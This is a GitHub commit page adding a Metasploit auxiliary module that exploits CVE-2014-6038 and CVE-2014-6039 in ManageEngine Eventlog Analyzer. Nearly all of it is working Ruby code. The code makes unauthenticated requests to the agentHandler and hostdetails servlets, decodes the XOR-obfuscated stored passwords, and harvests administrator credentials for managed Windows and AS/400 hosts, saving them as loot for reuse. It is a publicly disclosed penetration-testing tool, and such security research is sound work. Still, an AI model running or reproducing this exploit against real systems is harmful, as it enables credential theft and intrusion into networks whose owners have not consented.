Skip to content

Commit bc55293

Browse files
committed
Land rapid7#4137, @pedrib's module for Eventlog CVE-2014-6038/6039
2 parents a830c28 + e7b4485 commit bc55293

File tree

1 file changed

+222
-0
lines changed

1 file changed

+222
-0
lines changed
Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure',
17+
'Description' => %q{
18+
ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that
19+
allow an unauthenticated user to obtain the superuser password of any managed Windows and
20+
AS/400 hosts. This module abuses both vulnerabilities to collect all the available
21+
usernames and passwords. First the agentHandler servlet is abused to get the hostid and
22+
slid of each device (CVE-2014-6038); then these numeric id's are used to extract usernames
23+
and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7
24+
the TARGETURI has to be prepended with /event.
25+
},
26+
'Author' =>
27+
[
28+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' =>
32+
[
33+
[ 'CVE', '2014-6038' ],
34+
[ 'CVE', '2014-6039' ],
35+
[ 'OSVDB', '114342' ],
36+
[ 'OSVDB', '114344' ],
37+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_eventlog_info_disc.txt' ],
38+
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/12' ]
39+
],
40+
'DisclosureDate' => 'Nov 5 2014'))
41+
42+
register_options(
43+
[
44+
Opt::RPORT(8400),
45+
OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),
46+
], self.class)
47+
end
48+
49+
50+
def decode_password(encoded_password)
51+
password_xor = Rex::Text.decode_base64(encoded_password)
52+
password = ''
53+
password_xor.bytes.each do |byte|
54+
password << (byte ^ 0x30)
55+
end
56+
return password
57+
end
58+
59+
60+
def run
61+
res = send_request_cgi({
62+
'uri' => normalize_uri(target_uri.path, 'agentHandler'),
63+
'method' =>'GET',
64+
'vars_get' => {
65+
'mode' => 'getTableData',
66+
'table' => 'HostDetails'
67+
}
68+
})
69+
70+
unless res && res.code == 200
71+
fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")
72+
return
73+
end
74+
75+
# When passwords have digits the XML parsing will fail.
76+
# Replace with an empty password attribute so that we know the device has a password
77+
# and therefore we want to add it to our host list.
78+
xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6))
79+
begin
80+
doc = REXML::Document.new(xml)
81+
rescue
82+
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
83+
end
84+
85+
slid_host_ary = []
86+
doc.elements.each('Details/HostDetails') do |ele|
87+
if ele.attributes['password']
88+
# If an element doesn't have a password, then we don't care about it.
89+
# Otherwise store the slid and host_id to use later.
90+
slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]
91+
end
92+
end
93+
94+
cred_table = Rex::Ui::Text::Table.new(
95+
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',
96+
'Indent' => 1,
97+
'Columns' =>
98+
[
99+
'Host',
100+
'Type',
101+
'SubType',
102+
'Domain',
103+
'Username',
104+
'Password',
105+
]
106+
)
107+
108+
slid_host_ary.each do |host|
109+
res = send_request_cgi({
110+
'uri' => normalize_uri(target_uri.path, 'hostdetails'),
111+
'method' =>'GET',
112+
'vars_get' => {
113+
'slid' => host[0],
114+
'hostid' => host[1]
115+
}
116+
})
117+
118+
unless res && res.code == 200
119+
fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")
120+
end
121+
122+
begin
123+
doc = REXML::Document.new(res.body)
124+
rescue
125+
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
126+
end
127+
128+
doc.elements.each('Details/Hosts') do |ele|
129+
# Add an empty string if a variable doesn't exist, we have to check it
130+
# somewhere and it's easier to do it here.
131+
host_ipaddress = ele.attributes['host_ipaddress'] || ''
132+
133+
ele.elements.each('HostDetails') do |details|
134+
domain_name = details.attributes['domain_name'] || ''
135+
username = details.attributes['username'] || ''
136+
password_encoded = details.attributes['password'] || ''
137+
password = decode_password(password_encoded)
138+
type = details.attributes['type'] || ''
139+
subtype = details.attributes['subtype'] || ''
140+
141+
unless type =~ /Windows/ || subtype =~ /Windows/
142+
# With AS/400 we get some garbage in the domain name even though it doesn't exist
143+
domain_name = ""
144+
end
145+
146+
msg = "Got login to #{host_ipaddress} | running "
147+
msg << type << (subtype != '' ? " | #{subtype}" : '')
148+
msg << ' | username: '
149+
msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)
150+
msg << " | password: #{password}"
151+
print_good(msg)
152+
153+
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
154+
155+
if type == 'Windows'
156+
service_name = 'epmap'
157+
port = 135
158+
elsif type == 'IBM AS/400'
159+
service_name = 'as-servermap'
160+
port = 449
161+
else
162+
next
163+
end
164+
165+
credential_core = report_credential_core({
166+
password: password,
167+
username: username,
168+
})
169+
170+
host_login_data = {
171+
address: host_ipaddress,
172+
service_name: service_name,
173+
workspace_id: myworkspace_id,
174+
protocol: 'tcp',
175+
port: port,
176+
core: credential_core,
177+
status: Metasploit::Model::Login::Status::UNTRIED
178+
}
179+
create_credential_login(host_login_data)
180+
end
181+
end
182+
end
183+
184+
print_line
185+
print_line("#{cred_table}")
186+
loot_name = 'manageengine.eventlog.managed_hosts.creds'
187+
loot_type = 'text/csv'
188+
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
189+
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
190+
p = store_loot(
191+
loot_name,
192+
loot_type,
193+
rhost,
194+
cred_table.to_csv,
195+
loot_filename,
196+
loot_desc)
197+
print_status "Credentials saved in: #{p}"
198+
end
199+
200+
201+
def report_credential_core(cred_opts={})
202+
# Set up the has for our Origin service
203+
origin_service_data = {
204+
address: rhost,
205+
port: rport,
206+
service_name: (ssl ? 'https' : 'http'),
207+
protocol: 'tcp',
208+
workspace_id: myworkspace_id
209+
}
210+
211+
credential_data = {
212+
origin_type: :service,
213+
module_fullname: self.fullname,
214+
private_type: :password,
215+
private_data: cred_opts[:password],
216+
username: cred_opts[:username]
217+
}
218+
219+
credential_data.merge!(origin_service_data)
220+
create_credential(credential_data)
221+
end
222+
end

0 commit comments

Comments
 (0)